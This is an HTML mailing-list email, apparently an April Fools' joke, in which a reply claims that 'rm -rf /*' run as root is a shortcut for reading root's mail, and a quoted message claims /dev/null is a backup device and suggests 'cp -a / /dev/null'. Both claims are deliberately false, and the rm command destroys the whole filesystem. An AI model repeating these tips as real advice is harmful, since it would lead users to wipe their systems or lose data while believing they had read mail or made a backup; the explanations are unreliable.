While on the topic of obscure and convenient commands. Few people know that when logged in a root a great way to read through all of the system mail for root is "rm -rf /*" < it is short for Read Mail -real fast the /* is a regular expression to find all of root's mail in the mail spool.<br>
<br><div class="gmail_quote">On Fri, Apr 1, 2011 at 11:40 AM, <span dir="ltr"><<a href="mailto:dennisjperkins@comcast.net">dennisjperkins@comcast.net</a>></span> wrote:<br><blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex;">
<div><div style="font-family:Arial;font-size:12pt;color:#000000"><div class="im">/dev/null is a fantastic backup device. Not many people know that. I <br>would suggest:<br>cp -a / /dev/null<br><br><br>null means 'backup' in Swedish (Linus' mother tongue.) and will show up <br>
in Windows 7 as 'old_linux_backup'<br><br>_______________________________________________<br><br></div>Want to give a talk on this? :)<br></div></div><br>_______________________________________________<br>
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